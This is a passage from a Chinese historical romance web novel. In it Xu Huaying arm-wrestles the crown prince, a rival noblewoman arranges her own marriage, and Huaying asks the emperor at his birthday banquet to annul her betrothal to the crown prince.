姚明山还在吃,头也不抬道:“等会儿吧,让人去备营帐了,今儿晚上你们仨姑娘挤挤?” 姚宝璐:“好啊。” 她说着,扭头问:“泱泱行不?” 话问出口,却是没瞧见人,她目光往不远稍抬,便见华缨与赵徵正坐着说话,猩红的篝火映照在太子殿下的脸上,或明或暗的光影错落,竟是给她瞧出了几分在人间的感觉来,还有些……温柔? 姚宝璐愣怔一瞬,默默的晃了晃脑袋,嘀咕道:“我吃醉酒了……” “你当真要?”华缨小脸皱皱巴巴,满是为难的又问一遍。 赵徵颔首,抬臂,顺势在旁边的石头上支着,示意她可以了。 华缨犹豫一瞬,上前也将手臂支在平整的石面上,心道,可别怪我不给你脸面嗷,都说不啦,非要非要,那就给你个痛快吧! 华缨的手握住那只明显比她大好多的,一如那时不经意触碰到的,干燥,温热,骨节分明,手掌并不宽厚,却是瞧着能将她整只手握着包裹住。 根根修长的手指自她小指旁压过来,握在手背,指甲修剪得圆润干净,透着淡淡的粉,华缨盯着他的手,瞧得目不转睛。 赵徵对着她几近虔诚的神色,有些无奈的唇角轻勾了下,“开始了。” 华缨‘哦’了声,大言不惭道:“我努力不给你掰断。” 赵徵:…… 二人一同使力,这是军中较量手臂力气的法子,东风压过西风去,将对方的手腕压下,便是获胜。 赵徵有些憋屈,手中握着的这只手太小了些,骨头也软,总怕给她掰断,束手束脚。 华缨就没这些个顾虑了,抬起脑袋咧嘴笑,还挑衅一句—— “殿下晚膳没吃饱嘛?” 放肆又狂妄。 赵徵心想,紧抿的唇角不觉压着点笑,他手上加力。 “殿下还有嘛?” “……” 感受到那力气好像停了某一瞬,华缨咧嘴笑得像个阴险娃娃,“殿下,我来啦!” 说罢,手上分毫不费劲儿,啪的一下给他摁下了。 赵徵:…… 傻了。 眼见为虚,身感为实。 半晌,赵徵沉沉呼出口气,竭力忍着,才没去揉隐隐作痛的手。 华缨一屁股坐在草地上,两手插进指缝活络,声音轻快的嘀咕:“就说别欺负你嘛。” 旁边偷摸儿观战的姚宝湘捧着脸偷笑,忍不住的插话道:“泱泱力气大着呢,段晁书房的柚木门都能踹破,老大一个洞,那门砸在段晁背上,他后背的青紫半个多月才消,哈哈哈哈……” 华缨害羞摆手,“一般般啦。” 倒也不必大肆宣扬。 华缨说着,又善心大发的安慰赵徵两句,“殿下贵为储君,身边有近卫还有暗卫护卫周全,不必吃练功的苦啦。” 赵徵看着她。 小姑娘嘴上良善,语气却是全然一副‘能与我交手,你该感到三生有幸’的自豪。 “练功辛苦吗?”赵徵问。 华缨好似酒意上了脸,脸蛋儿红扑扑的,团吧团吧的坐在草地上,手揪着青草尖儿,那双眸子渐渐浮起了些醉意朦胧来,她似是想了想,才郑重答:“不苦呐。” 说完,犹觉不够,脑袋点了点,看着赵徵又强调一句:“我喜欢的。” 赵徵的剑法是在王府时便跟着武师傅学的,只是并不勤精习武。 如华缨说的,他幼时起,身边便有暗卫跟着了,可便是如此,练数九酷暑,也觉难熬的紧。 他看着她,华缨也在看他。 半晌,她似醉语呢喃:“殿下,你的手红了呢。” 赵徵顺着她的目光往下,看见了自己泛红的骨节和留有指印的手背。 “真好看,”华缨又说,声音很轻,很软,“像是红梅覆雪。” 赵徵忽的想到了那只红梅。 紧接着又听她说—— “殿下,我有点热,可以给我摸摸吗?”那双眼眸抬起,虔诚又可怜。 赵徵:“……醉鬼。” 第59章 退婚圣旨。 翌日清晨,乡间野道上,马蹄声由远及近,伴随着姑娘家的笑闹声。 “昨夜你还非礼人家殿下,抓着人家的手摸来摸去,我跟姚宝璐拉都拉不开你,哈哈哈哈……”这是姚宝湘。 “殿下被你摸得脸都红了,我还从未见过端方自持的太子这副模样,泱泱啊,你馋殿下啦。”这是姚宝璐。 华缨默默的驾着马往前跑,断不承认道:“不能是我,湘表姐和璐表姐昨夜喝多了,做梦呢叭!” “敢做不敢当!”姚宝湘叫嚣道。 昨夜之事,华缨其实记着些…… 营中的酒烈的很,上劲儿很快,可她察觉之时,已经晚了,酒液灼得她心口都发烫,瞧着赵徵的手,无来由的想到了红梅覆雪的凉。 华缨觉得,她不是馋太子殿下,只是贪那抹凉罢了。 她好声好气的求了。 可是! 赵徵不给她摸便也罢了,还骂她! 华缨记着赵徵被她扑倒在草地上时,眼底一闪而过的惊慌和诧异,也记得他烫手的耳朵,却是唯独忘了,她捉着他的手摸她脸时的感觉,是凉的吗? 华缨独自跑了一截儿,又停下等两个表姐跟上来,面目诚恳问:“昨夜大家都吃多了酒吧?” “嗯?”姚宝湘打趣的瞅着她。 “大抵是……不会传出我非礼赵徵的谣言吧?”华缨又问。 姚宝湘和姚宝璐对视一眼,哈哈大笑。 华缨为难的皱着脸,干巴巴的说:“笑话人不好。” 夜不归宿,华缨回府后,挨了亲爹好一顿说。 出门时,却是欢欣鼓舞的。 她知道呢,爹爹是怪没带他一起玩儿去! 镇国公府,华缨第二回 来,已然是熟门熟路,这回倒是没忘记带着礼呢。 “国公爷吩咐过,不准大小姐出门。”护卫拦在门前说。 华缨:“不是她出门,是我进去看看她。” “徐大小姐请回吧。” “……” 华缨看了看身量高大的护卫,又看看他身后的门,片刻,蹲去了对面树荫底下。 约莫一刻钟,华缨没等到镇国公出门,却是等到了来苏家提亲的! “烦请禀报,博望侯府魏青鹤,来与苏大小姐提亲。” 华缨:! 就是他! “徐大小姐。”魏青鹤朝打量他的姑娘微颔首道。 华缨抿唇站了片刻,“魏世子诚心求娶阿楹?” “自然。” “你喜欢阿楹?”华缨又问。 这次,魏青鹤却是不如方才毫无迟疑的答。 他面上含笑的看着华缨,片刻,道:“我以为徐大小姐上元宫宴那番话,是不会在意儿女情长的。” “世子既是未对阿楹属意,今日何必上门求亲?”华缨迎着他的目光说。 二人僵持不下之时,方才传话的护卫出来了。 “魏世子,国公爷请您进去。” 魏青鹤脸上的笑意未落,与华缨颔首道别,轻掀袍摆,拾阶而入,身后媒人跟着,还有小厮抬着缚着红绸的求亲礼。 华缨抿了抿唇,脚步轻快的正要跟上,被那黑脸护卫再度拦下。 “他为何能进去?”华缨蹙眉道。 “国公爷的意思。” “那你去与国公爷禀,说我求见。” “国公爷让您回去。” “……” 之后半月,博望侯府三度登门求亲,此事在汴京城中传扬开来,那日苏扶楹当众让人来下聘之事,让人忘却脑后,倒是成了桩佳话。 苏余兴却是燥得嘴角起燎泡。 这门亲事,苏余兴撅了两回,再来,倒是不好。 拒两回可说是姑娘家骄矜,提亲者也诚心聘姑娘为妇,街头巷尾的说起,主家面上也有光。 可要是再拒,那便是眼高于顶,姑娘家日后的亲事也多不顺遂。 苏余兴将这信儿递去了宫里,却是迟迟没等到皇后妹妹的回信。 实则,那日宫宴罢,平嘉皇后便听得了消息,气得将福宁宫的茶盏摔了一地。 苏扶楹这般自毁名声之法,当真是覆水难收,纵然她有心补救,可是也没法子,尤其是在魏青鹤当真登门提亲后。 博望侯府再是落魄,也是京中贵族,尚且轮不到旁人去踩踏。 而且,太子与臣子争女人,这事传出去,要天下臣民如何想? 苏扶楹站在书案后练字,没看急躁得如同热锅蚂蚁的苏余兴,唇瓣轻启,淡声道:“我若是父亲,便应了这门亲事。” “你休想!”苏余兴气得跳脚。 可看她这副淡漠神色,又忍不住道:“你姑母一心替你筹谋,嫁给太子殿下有什么不好,你为何偏要作践?” “嫁给太子又如何,父亲以为,你当真能当国丈?”苏扶楹说着,清丽的眉眼抬起,抿唇轻笑了声,似是笑话他的天真。 苏余兴脸黑了。 这不孝女从未敬重过他这个当爹的! “我德言容功样样儿出类拔萃,才貌肖想姑母,祖父替姑母争到了王妃之位,父亲又替我争到了什么?太子侧妃,我不稀罕。” “你!”苏余兴气得胸口喘粗气,脸涨红。 哪有这样被闺女指着鼻子骂爹没本事的? “父亲将我当赵合德,想要以嫁女来维持家族殊荣,可殊不知,自父亲丢了殿前兵马司兵权时,家族颓势就已显,官家再是不济,也有听话这一个好处,先帝将位传于他,又亲封了四位辅政大臣,那便是要当唐太宗身边的魏征,杜如晦,房玄龄诸类用的,咱们家族里姑母便是最后一位皇后了。”苏扶楹淡淡说着,好似不知这番话大逆不道。 苏余兴脸色一变,正要呵斥。 苏扶楹将手中的狼毫搁置,又说:“父亲骂我不如华缨,可父亲又何时比之太傅更甚一筹了?官家求赐婚的为何是华缨而不是我?爹爹何不从己身寻缘由?” “你!你忤逆不孝!” “父亲又不是第一日知晓,”苏扶楹面上神色无所动,过去架子前,撩起银盆里的水净手,一双眸光淡淡的看着苏余兴,道:“我五岁替苏遮擦屁股,以此要挟父亲立誓不会休弃母亲,父亲不是就已知道我忤逆不孝了?” 苏余兴脸色铁青,“这门亲事,我不会应的。” 苏扶楹不甚在意的轻笑了声,拿起巾子擦手,“父亲是在等皇后娘娘的信儿?可怎么办呢,我没有了疼爱我的姑母,父亲也做不了国丈了。” “我如今名声尽毁,于姑母已是无用,便是日后姑母要从家族里挑个姑娘送进东宫,那都与父亲无关了,今日这门亲事应了,父亲还能做侯府的亲家,可若是不应,以此之事,我也不会嫁的更好,这笔账,父亲算得清吧?” 苏余兴胸口急剧起伏,“你!逆女,你都是算计好的?!” 苏扶楹没说话,鸦睫半垂。 “镇国公府应了这门亲事?!”华缨惊了。 姚宝湘不解她这般大的反应,咬着颗桃子满脸茫然的点了下头,“应了。” “可、可是……” 华缨难得结巴了。 可是赵徵要怎么办? 她当真是尽力来着,还给镇国公府买菜的嬷嬷塞了银钱,要她给苏扶楹带个信儿。 难不成是苏扶楹没收到? “三媒六礼走得很快,不过也不奇怪,”姚宝湘啃着桃儿说,“苏扶楹都十七了,这个年岁出嫁正好,听说两家已经合了八字,只等请期亲迎了。” 华缨心口又是一凉。 完蛋! 这岂不是显得她有意拖拉? 姚宝湘没留下吃晚饭,与华缨说了会儿话就走了。 夏日白昼长,徐鉴实今日下值早,天色且大亮着,华缨听着动静,急急迎了出来,满眼热切的问:“祖父,官家可要发兵北征了?” 徐鉴实:…… “别胡说。” 华缨难啊,她需要战功求退婚圣旨。 “可是先前太子殿下说,官家如今有意发兵北征,如今夏日粮草丰盈,当真不发兵吗?” 徐鉴实沉吟未语。 他今日下值早,便是因官家与阁中众臣商议发兵之事而分歧。 昌隆帝当真是急着北征,众臣却是心口惴惴,觉得不好,先帝在时,几回出兵北征,皆无功而返,丢失的五州没夺回一州来,粮草军费却是耗损许多,如今虽是百姓安定,但国库并未多充足,唯恐积重难返。 祖孙俩进了屋,华缨殷勤的端来茶水,眼巴巴的看着祖父。 徐鉴实想了片刻,低声道:“近日朝堂确提起此事,可户部银子还没筹算好,这事且说不定呢。” 华缨双手托着脸,长长的叹了声气。 “你阿娘的事,你爹与你说过了?”徐鉴实温声问。 否则,他当真是不知她盼着北征是为何。 华缨点点头,片刻又仰起脑袋问:“祖父,来日北征,我是要去的。” 徐鉴实心口重重一沉。 华缨当日在西营与尹老将军较量之事,他自也听闻了,这些时日,没少听同僚道贺,此事,他其实有猜想,只是一直没敢问罢了。 华缨说得这样坦然,倒是将徐鉴实愣了下,怔然的说不出话来。 他是文臣,虽是幼时学过六艺中的武艺,可多年未练习,弓箭怕是都拿不稳了。 他手上未沾过鲜血,便是连杀鸡都没见过几回,可是朝中战死沙场的将士何其多? 徐鉴实唇都在抖,连带着那副美髯也在轻颤,“泱泱……” 华缨抱了抱他,“祖父,我心中有牵挂,定会平安回来的。” 她是想要孟固安的脑袋,可若是螳螂挡车,她又不傻,她的性命比孟固安的脑袋值钱多了。 徐九涣潇洒一日,听曲儿回来时还带回来一挎篮子的甜瓜,刚进门儿,就挨了亲爹一白眼。 “干啥又瞪我?” “哼。”徐鉴实吹胡瞪眼的哼了声,不想与他多说。 华缨小眼神左飘右飘的不看爹爹,与她无关叭! 北征之事,华缨急,昌隆帝急,可是众大臣不急啊。 徐鉴实说:“劳民伤财。” 此事僵持至八月初,迎来了万寿节。 “寿礼可备好了?”宋喜问华缨。 此次五品及以上官员与诰命夫人可入宫赴宴,庆贺官家寿辰。 宋喜早早便备了一副绣品,虽不出挑,但也挑不出错儿来。 照着寻常,他们一家备一份寿礼便是,但华缨偏偏有个太子妃的身份在,哪怕尚未成亲,但遇得天家寿诞,还是得另备一份贺礼才好。 华缨在旁啃瓜,点头道:“备好了呢,费了我一日功夫呢。” 宋喜:? 很久吗? 八月初二,众臣乘马车出门,入宫贺帝王寿。 华缨与爹爹、祖父在前朝分开,随着婶娘和华敏去福宁宫给平嘉皇后请安。 她们来得不算早,穿过重重殿宇,到福宁宫时,里面已经坐着许多诰命夫人们了。 “臣妇/臣女拜见皇后娘娘。” 三人福身行礼道。 平嘉皇后高坐榻上,看着三人的神色淡淡,“起来吧。” “给徐二夫人赐座。” “是。”宫女应声,片刻搬来一把椅子。 “多谢娘娘。” 华缨与华敏站在宋喜身后,乖乖巧巧,不多看,更不多言。 但平嘉皇后的目光,却是未从华缨脸上挪开。 “上次宫宴,徐大小姐能言善辩,委实令本宫大吃一惊,今日怎的话少了?” 华缨垂着眼,“臣女无状,娘娘宽宥。” “官家都未责训徐大小姐什么,本宫又岂敢。”平嘉皇后道。 如此两句,在座的众夫人都听出些不对劲儿来,各自打着眉眼官司,面面相觑。 “母、母后,”一道很轻的声音响起。 众人循声看去,就见平嘉皇后身侧坐着的商絮公主站起了声。 “离开宴时辰尚早,我陪几位小姐去园中赏花吧。”赵商絮硬着头皮干巴巴的说,隐在宽袖中的手指轻颤。 平嘉皇后不满的看了她一眼,可也不好当着众人驳她的脸面,“去吧。” “多谢母后。”赵商絮福身道。 殿中的贵女们也纷纷起身,随着赵商絮往外走。 “去吧。”宋喜低声说。 华缨‘嗯’了声,与华敏一道去了。 这个时节,园中的花争奇斗艳,姹紫嫣红的很是好看。 他们这样的达官显贵,园子里不乏名品,可许多也只有宫中有,一路行的慢,华缨和华敏走在后面,手里的团扇不多时便挡在了脑袋上遮阳。 晒啊。 “此处园子不会有外男来,诸位可自行观赏,旁边的亭子备了茶果点心,也可自用。”赵商絮声音软软的说。 “多谢殿下。”众人道谢。 有这句话,华缨拉着阿敏堂而皇之的过去了亭中遮阳。 石桌上的宝莲花碗里盛放着果子,底下铺着碎冰,瞧着就沁凉爽口。 华敏热得脸红扑扑的,小声问:“阿姐,能吃不?” “吃吧。”华缨摇着团扇扇风,也热得紧。 姐妹俩正吃着一碗葡萄,赵商絮从园中过来了,瞧见那将见底的果子,让宫人再去端一碗来。 “殿下。”姐妹俩福身请安。 “二位小姐不必客气。”赵商絮眸子亮晶晶的,说完顿了顿,憋不住似的小邀功,“这是哥哥让人准备的。” 华缨:。 自苏扶楹婚期定了,华缨便没鲜少出门了,唯恐碰上了赵徵。 她答应要还他一筹,怕是要食言了。 战功迟迟没有,她不知还能如何提退亲之事。 见华缨愣了下,却没说话。 赵商絮抿了抿粉唇,又低声说:“哥哥说,母后因表姐不能入东宫之事,心中积怨,今日见着徐姐姐来请安,怕是会为难,让我瞧着些,若是不好,便带你出来。” “殿下没怪我?”华缨茫然问。 赵商絮神色一空,不明白她此话何意。 她眨了眨眼,颇为认真道:“哥哥说起徐姐姐时,是笑着的。” 华缨:…… 不敢想。 午时开宴,群臣坐殿堂。 寿礼是方才入宫时,便由礼官收走直呈官家的。 皇子龙孙们,以赵徵为首,给昌隆帝贺寿。 赵徵送的是一首诗,华缨听了两耳朵,心想,与她的贺礼同样毫无心意呢。 赵徵如此,底下的弟弟们也都是作诗作画。 敷衍得如出一辙。 底下的臣子端详着昌隆帝的神色,见那眼底的笑意淡了些。 “开宴吧。”昌隆帝说。 宫中伶人登场,歌舞丝竹声起。 华缨夹着案桌上精致的菜肴吃,手边递来了爹爹剥好的蟹。 她甜丝丝的笑,看吧,谁的爹爹都没她的好呢~ “许久没见太傅家的长子了,如今还是无心入仕?” 昌隆帝忽的问。 殿中并不安静,众臣的目光却是齐刷刷的朝这边看了过来。 官家这话是当真? 汴京中谁人不知,他徐九涣文不通墨?! 几个尚书大人左右瞧一眼,也不知这厮会被塞那个倒霉蛋衙署里。 徐九涣用手边的湿巾子擦干净拆蟹的手,方才起身道:“官家仁厚,可我非是仕才,老爹也常骂我眼高手低,当日礼部任职,我委实愧受皇恩。” 昌隆帝笑着摇首,似是不信他这番说辞,“太傅之子,怎会不通仕途?徐大小姐不就被教得很好,听闻你带她跋山涉水,游历南北。” 徐九涣惭愧道:“贪玩儿。” 昌隆帝哈哈笑,看向吃蟹的华缨,和颜悦色道:“你爹谦虚,听礼官说,你给我作了幅画?” 这话一出,徐鉴实眼皮狠狠抽搐了下,又努力忍住,维持着那副风雨不动安如山的神色。 华缨咽下好吃的蟹肉,懵懵的点头,有些不明这话头怎就到了她身上呢。 “来人,将徐大小姐的贺礼呈上来,我与众爱卿同观。” 徐鉴实:! ……大可不必!!! 少顷,礼官捧着一轴画卷呈上。 那画卷以红绸系着,也很是讲究了呢。 昌隆帝亲自将那小指宽的红绸扯开,展开了画卷。 万众期待,盼着一瞻。 昌隆帝神色瞧着却是有些难言,像是……在极力辨认那是什么。 殿中轻歌曼舞,方响空灵。 少顷,昌隆帝抬眼,望向下首的华缨。 华缨昂首挺胸,自信不疑的也看着他。 殿中众臣抓耳挠腮,好不好奇! 昌隆帝目光收回,又仔细端详片刻,斟酌开口:“华缨这是画的……太子宫中那红腹锦鸡?” 华缨笑眯眯,“是凤凰啦。” 昌隆帝看向下首的太子:…… 好像有些亏待被与之赐婚的太子了。 先前见华缨舌战群将,他只当是饱读诗书,可这画技……委实配不上太子的才情。 昌隆帝又瞧向端坐的太傅。 徐鉴实挺直腰杆儿。 瞧什么,他尽力了! 一门两个小纨绔,他与谁说理去? 可惜他画技超群,竟是无人承他衣钵。 昌隆帝对上华缨期待到亮晶晶的眼睛,张了张嘴:“呵呵,画的真好,朕很喜欢,呵呵……” 华缨面露喜色,双手激动捏拳,眸光与赵徵错过一瞬,霍然起身,跪于大殿,憋不住道:“我就知道您会喜欢的~我也想开心开心,您不若赐我一道退婚圣旨嘛~” 昌隆帝心口一惊。 徐家如今二臣在朝,徐鉴实乃文臣之首,徐士钦在朝中亦是颇重,从前昌隆帝还是陵王时,为得徐家支持,与先帝求了这婚旨。 可待他继大统,徐家便如悬在他梁上刀剑,太子有这样的妻族,他没一日能安心。 徐家兄弟俩感情好,虽是离间,也没伤得半分兄弟情分,虽是徐九涣未在朝中,可是来日势增的徐士钦,亦是太子身后的势力。 昌隆帝没有一日不想退了这亲事,可是这婚旨是他与先帝求的,既无正当缘由,便是提都不能提。 可今儿,此时,华缨在求退亲。 昌隆帝心口跳得太快,唇焦舌敝,面上都浮出些激动的红来。 他瞥一眼身着蟒袍,面无表情的太子,道:“允?” “华缨叩谢圣恩!!!”华缨哐哐磕了两个。 呜呜呜,好激动! 满殿众人:? 被或明晃晃或暗戳戳的打量的徐家人,面上并未异色,再看徐九涣,这人竟是慢条斯理的拆蟹! 这亲事不比他手里那只螃蟹紧要吗?! 众臣及家眷心中翻云覆雨。 华缨欢欢喜喜的起身,递给赵徵一个眼神,还你了嗷! 赵徵却好似置身空寂,浑身僵硬,蟒袍宽袖中的手攥得死紧,青筋绷起,骨骼好似有虫蚁啃噬,难捱的紧。 赵商絮呆愣愣的看着哥哥。 她、她方才说错话了吗? 宴席至申时散,众臣携家眷出宫。 华缨事了拂衣去,将那些目光与闲言抛诸身后。 她正要上马车,忽的被自身后来的二人,各架着一只手臂绑了去。 徐九涣幸灾乐祸似的,在后边儿吹了声口哨,就被老爹瞪了眼。 华缨被姚宝湘和姚宝璐姐妹俩架上了马车,身后还跟着姚宝芳和阿敏两人,几个姐妹挤在一辆马车里,姚宝湘掀帘与车夫说了句‘去徐府’。 马车晃晃悠悠的慢行,华缨对着几双紧盯的灼灼目光,眨了眨眼,茫然道:“都瞧我做甚?” “你怎的突然与太子殿下退亲了?”姚宝湘飞快的问。 方才大殿上,她险些没被吓傻。 华缨靠在软枕上,悠悠打了个哈欠,伸直腿脚晃了晃,说:“官家夸我了。” 姚宝湘:? “他笑得很是愉悦。”华缨又说。 姚宝湘:??? “他既是心情愉悦,那我所求,他即便是不应,也不会瞬即变脸砍我头。” 姚宝湘神色有些一言难尽,“……你还想得怪周全的?” 华缨好不谦虚的点脑袋,“我又不是傻子。” 姚宝湘:…… “可是,先前从未听你说想要退亲,太傅与徐大伯可知晓?”姚宝璐急道。 华缨又点头,“事未成,怎好宣之于口?” “可是,你不是对太子有意?”姚宝璐蹙眉道。 华缨竖起一根手指摇了摇,“妄言。” “……你还摸殿下。”姚宝璐说。 委实是那幕冲击得厉害,她还从未见谁敢生扑太子呢! 华缨斩钉截铁道:“无稽之谈!” 姚宝璐:…… “当真没有难过、舍不得?”姚宝湘瞅着她的神色问。 华缨笑弯了眉眼,“我从未想过嫁给赵徵。” 镇国公府。 苏扶楹与魏青鹤的婚期定在了今岁十月。 这些时日,她在家中待嫁。是以,今日宫宴并未出席。 晌午觉刚歇好起来,丫鬟替她梳发,忽的,外面传来了动静,是府上几个堂妹。 “大小姐,几位堂小姐过来了。”门外的丫鬟禀报道。 苏扶楹看着铜镜,眼微抬道:“让她们进来吧。” 她话音未落,门前便出现了两道苗条身影。 苏扶楹懒怠计较,直截了当的问:“何事?” 苏二掩唇笑,“来恭贺大姐姐定亲啊。” 苏扶楹扫她一眼,没说话。 “大姐姐今日没去宫宴,可是没见着徐大小姐求官家退亲,可惜了,大姐姐如今与博望侯府的世子爷定了亲,徐大小姐再是退亲,大姐姐也无缘太子妃位了呢。”苏二挑衅道。 “退亲?”苏扶楹细眉微蹙,“太子也应了?” “官家做主,直接将亲事退了,太子没说话。”苏五小姐细声说。 “大姐姐也太急了,宁愿自毁名声也要博那侯府世子夫人的身份,若是没这一出,依着皇后娘娘待大姐姐这般疼爱,这太子妃之位,就是姐姐了呢,真可惜。” 苏扶楹起身,抬手就是一巴掌。 清脆的一声,几人都吓了一跳。 “嬷嬷教的规矩,半分不记得了?张嘴闭嘴的世子夫人,是在奚落谁?”苏扶楹神色凌厉,“长幼有序,再有下回,莫怪我不给叔婶脸面,依着家规罚你。” “你!”苏二捂着脸,气得怒目圆睁。 苏扶楹:“再给你一句忠告,一家子姐妹,我若是不好,你以为你能颜面有光?一荣俱荣,一损俱损的道理,五岁读书时夫子便教过,你若还不懂,自个儿滚去跪祠堂,什么时候想明白了再出来。” 第60章 玩儿够了? 福宁宫。 红日西沉,殿中静悄悄的,嬷嬷奉茶进殿,温声道:“娘娘,可要传晚膳了?” 平嘉皇后靠在软榻上,一手撑着额角,满脸疲惫色,整个午后,她都是如此坐着。 殿中针落可闻,嬷嬷没听到回答,刚要退下。 “你说,可是本宫做错了?” 嬷嬷神色一顿,“娘娘怎会这般想?” “若非本宫奚落她,徐华缨今日怎会求官家退亲?”平嘉皇后望着虚空的某处,喃喃低语道:“徐家乃文臣之首,有这样的依仗,太子日后的路也好走些,可官家却是连这个都不能容,你说,他是不是生了另立太子的心思?” “娘娘!”嬷嬷慌张打断道。 自那次昌隆帝以旨意勒令关闭福宁宫,帝后二人便是连相敬如宾都没了。昌隆帝久不来福宁宫,平嘉皇后也不会上赶着殷勤。 平嘉皇后是有私心,她想要苏家的昌荣长久些,是以,她想将苏扶楹送入东宫,哪怕只是侧妃。这与太子而言,分明也是好事,扶楹性子坚韧,也体贴,再有国公府的兵权,日后若是有个万一,他不会孤立无援。 可太子不理解她,苏扶楹狼心狗肺,也背弃她,到头来,就是徐家的亲事也没了。 平嘉皇后自认非是愚笨蠢才,可走到如今这步,竟是觉得有心无力,背后生凉意。天家无情,昌隆帝如此,她生的太子亦是。 那她呢? 她长久以来,又在处心积虑什么? 当夜,平嘉皇后起了高热。 宫人禀报到尘光殿,昌隆帝听了,淡淡道:“去唤太医就是。” 太医到福宁宫时,赵徵也过来了。 福宁宫的嬷嬷却是将他拦在了门前,“殿下,时辰不早,您早些歇息吧。” 赵徵没说话,看着宫门在面前关上。 近三更天时,太医方才从福宁宫离开,宫人将他送出来,见着赵徵,有些无措的福身行礼,“请殿下安。” “母后可还好?”赵徵问。 “太医说,娘娘这是心口郁结,急火攻心方才起了高热,待服了汤药便会好。”宫人道。 赵徵轻颔首,“你关门吧。” 宫人小心翼翼的觑一眼他的脸色,方才垂着脑袋将宫门慢慢关上,到底是没敢当着太子殿下的面划上门闩。 宫道甬长,赵徵朝外走,他的身影被月色拉得很长,行至宫灯下时,又倏然很短。 片刻,他站在重重殿宇之中,恍惚间有些不知归路。 他自幼便知,他的亲缘淡薄,母妃关切他的功课,却是不会问他与王叔家的兄弟们在学宫读书可和睦,可有人欺负他?父王当他是皇祖父疼爱的皇孙,教导他如何讨好皇祖父,那些孺慕之情,又有几分的真? 赵徵回首望行来的路,飞鸟越过宫檐,角落的宫铃叮铃轻响了声,声音清透悠长。 翌日,天将蒙蒙亮。 一大早的,姚明山从府里出来要去军营。 “二表哥!” 华缨兴高采烈的脆声喊。 姚明山给这一声险些吓得趔趄,扭头便看见了骑在马上的华缨正朝他招手。 “等我呢?”姚明山问。 华缨点脑袋,模样乖巧,催马走近。 “你这一大早的……”姚明山微眯着眼瞅她,啧声道:“给人瞧见了,还以为你退了与太子的亲事,是瞧上我了呢。” 华缨退亲之事不过一夜,便传得满城皆知。 姚明山昨儿回来的晚些,都听得了几句闲话。咳……他娘说的。 “就没见过哪个姑娘家主意会这般大,徐家对这女娃当真是宠惯,若是宴上官家以为她嫌弃太子而盛怒,莫说是她,就是徐太傅、徐家满门都得受牵累。”姚三夫人如是说。 姚明山却是不觉得。 他总感觉,昌隆帝是在剪太子的羽翼,华缨退亲,于他是好事。 “二表哥喜欢我?”华缨歪了歪脑袋,目光纯净的问。 这样直白赤裸,姚明山被口水呛得直咳嗽。 华缨耸了耸肩,“看吧,你是我哥哥呢。” 姚家和徐家确有亲上加亲的意思,但那是阿敏和世子姚明琢。 华缨上回听湘表姐说罢,回家还偷偷问过婶娘,两家确有结亲之意,只如今阿敏年纪尚浅,要等及笄之年再行商议,武定伯夫人也同意了的。 华缨没让人去喊湘表姐,自个儿跟着姚明山驾马跑去了军营。 此时尚早,日头初升,演武场上兵卫正操练,个个儿光着膀子,衣裳乱七八糟的搭在武器架上。 华缨跟着姚明山过来时,滴溜溜的眼睛在那健壮的胸膛间穿梭,好不愉悦。 有人红了脸,想去穿衣裳。 华缨小手一抬,白皙的小脸严肃又认真道:“不必穿,我什么没见过?我什么都见过呢!” 那人:…… 姚明山憋不住的哈哈笑,又粗声道:“大老爷们儿的羞什么。” 华缨在营中待了一整日,看着将士们操练,练拳脚,也练刀。 傍晚,操练结束,有人笑喊着请华缨比试一场,华缨没应,跟着姚明山驾马回城。 “我送你回府?”进了城后,姚明山说。 华缨小眉毛动了动,问:“我用得着?” “臭嘚瑟。”姚明山骂,又问:“明儿可还去?” “不去了,”华缨想了想,说:“明儿我想听说书。” 路过姚家时,与姚明山挥手道别,华缨催马慢悠悠的继续往前,在摊子前尝了石榴酒,买了羊肉炊饼,还去飞仙楼吃了蟹酿橙,东坡肉,酒足饭饱回了府,用一张热乎乎的羊肉锅盔哄了祖父十两银子体己钱。 翌日,华缨换了身漂亮的石榴裙,额上画花钿,唇擦口脂,又欢欢喜喜的出府玩儿了。 困顿在书卷中的华敏羡慕得眼含热泪。 宋喜眉微蹙,若有所思道:“我怎觉得,泱泱这模样在何处见过呢?” 埋头做功课的徐华宋:“与大伯如出一辙。” 宋喜神色顿时恍然大悟。 就说眼熟的紧吧。 华缨出府来,就见姚宝湘等着了,与她昨儿堵姚明山时的模样,可谓是一斑。 “去哪儿玩儿啊,都不喊我。”姚宝湘坐在马车里,抬着下颌骄矜问,又埋怨似的嘀咕:“若不是二哥说漏了嘴,我都不知道!” 华缨眨眨眼,打发自家套好的马车牵回去,拎着裙摆跑过去上了姚宝湘的马车,甜滋滋的道:“听说书去啊。” 马车晃晃悠悠,一路往西去,行了足有半个时辰。 姐妹俩下来马车,姚宝湘环顾一圈,问:“这是哪儿?” 汴京闺秀们虽是平日出行无碍,但常去的地儿,也不过是汴京出名儿的胭脂坊,首饰银楼和酒楼。这边太远,饶是姚宝湘都没来过。 “西市。”华缨说着,拉着她进了一间楼。 堂中坐着许多人,说书先生正妙语连珠的讲一则狐妖与书生的故事,底下堂客们听得聚精会神,几个堂倌儿穿梭在桌椅间,不时的给客人添茶倒水。 二人一进来,堂倌儿将人上下打量了眼,立马殷勤招呼道:“二位客官可要去楼上?” “要个雅间儿,茶要新茶,先生要个嗓音温润的来。”华缨说。 “是是是,小的记下了,二位楼上请。” 厢房布置得很雅致,软榻铺的是蜀绣,窗棂也别出心裁的用竹节,玉白的熏炉香烟袅袅,是股子跟清香的气韵,像是茶香。 姚宝湘环视一圈,“我都不知,竟有如此之地,老实说,你如何知道的?”她虎着脸逼问。 华缨将熏炉盖放好,笑眯眯道:“我爹爹可是徐九涣呢。” 姚宝湘:…… 也是。 这汴京城中,还有谁能比徐大伯恣意快活呢? 片刻,堂倌儿叩门来送茶水,身后跟着个身穿青布衫的郎君,身无华饰,清隽端方。 华缨看他,姚宝湘也看,两道目光灼灼,但无亵玩之意。 堂倌儿将茶水放下,与两人引见了说书先生便退下了。 留在屋里的郎君,被华缨二人瞧得神色微顿,握着书的手朝她俩拱了拱。他读了几个书目,问:“不知二位小姐想听哪卷?” 华缨看向姚宝湘。 姚宝湘羞羞答答的从宽袍袖袋里掏出一卷书,“烦请先生讲这卷。” 郎君双手接过,骨节分明的手指将那陈旧泛黄卷成筒的书卷展开,一张脸腾的红了个彻底。 “小、小姐,咱们这儿是正经的说书馆……”郎君委婉道。 姚宝湘睁着双无辜的眼,“先生这话……是觉着我的书不正经吗?” 一刻钟后—— “将军急不可耐的扯了身上的衣裳,健硕的胸膛猛烈起伏,将人打横抱起扔进了床帐,且瞧他钻进了那石榴帐……” 